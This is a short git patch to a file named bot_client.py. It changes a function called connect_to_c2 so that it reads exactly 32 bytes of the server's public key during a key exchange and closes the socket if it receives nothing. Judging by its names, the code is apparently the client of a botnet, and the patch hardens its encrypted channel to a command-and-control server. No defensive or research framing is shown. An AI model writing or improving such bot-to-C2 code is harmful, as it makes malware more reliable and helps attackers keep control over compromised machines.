From 934d9359772836f38cd5557ede1681c81e8173c3 Mon Sep 17 00:00:00 2001 From: Igor Ribeiro Date: Wed, 4 Jun 2025 12:07:11 -0300 Subject: [PATCH] Handle partial key reception --- bot_client.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bot_client.py b/bot_client.py index f3c89be..5b9c076 100644 --- a/bot_client.py +++ b/bot_client.py @@ -41,7 +41,10 @@ def connect_to_c2(): private_key = key_exchange.generate_private_key() public_bytes = key_exchange.get_public_bytes(private_key) - server_public_bytes = bot.recv(4096) + server_public_bytes = recv_exact(bot, 32) + if not server_public_bytes: + bot.close() + return server_public_key = key_exchange.load_peer_public_bytes(server_public_bytes) bot.send(public_bytes) session_key = key_exchange.generate_shared_key(private_key, server_public_key)